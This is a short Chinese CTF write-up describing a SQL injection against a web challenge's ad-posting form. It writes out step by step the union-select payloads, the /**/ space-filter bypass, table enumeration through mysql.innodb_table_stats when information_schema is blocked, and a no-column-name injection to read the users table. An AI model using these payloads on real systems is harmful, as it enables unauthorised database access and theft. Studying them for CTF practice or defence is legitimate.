一进来是一个登陆框,思路:sql注入,SSTI
经过测试,sql行不通,没有回显,SSTI也不太行
有注册功能,先注册一个账号登录进去
回显用户名
点击申请发布广告
测试一下1' order by 1#
发现
标题有过滤,
用/**/代替空格
-1'/**/order/**/by/**/1#
还是不行,把#去掉,换成'
-1'/**/order/**/by/**/1,'2
不行,把order by 换位 group by
-1'/**/group/**/by/**/25,'2
没有回显有用的东西,点击广告详情,发现
说明列数小于25,检查到22时发现不报找不到列数了,即该表有22列
查看回显
-1'/**/union/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'
2和3是回显点
爆破数据库
-1'/**/union/**/select/**/1,database(),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'
爆破数据表,发现这里不能有information,只能换个方法
mysql.innodb_table_stats和sys.schema_table_statistics_with_buffer可以看表名、数据库名,就是没有列名
-1'/**/union/**/select/**/1,database(),group_concat(table_name),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/from/**/mysql.innodb_table_stats/**/where/**/database_name="web1"'
爆users的字段,这里用到无列名注入,参考https://www.jianshu.com/p/a352261e0ad5
-1'/**/union/**/select/**/1,database(),(select/**/group_concat(b)/**/from/**/(select/**/1,2/**/as/**/a,3/**/as/**/b/**/union/**/select/**/*/**/from/**/users)a),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'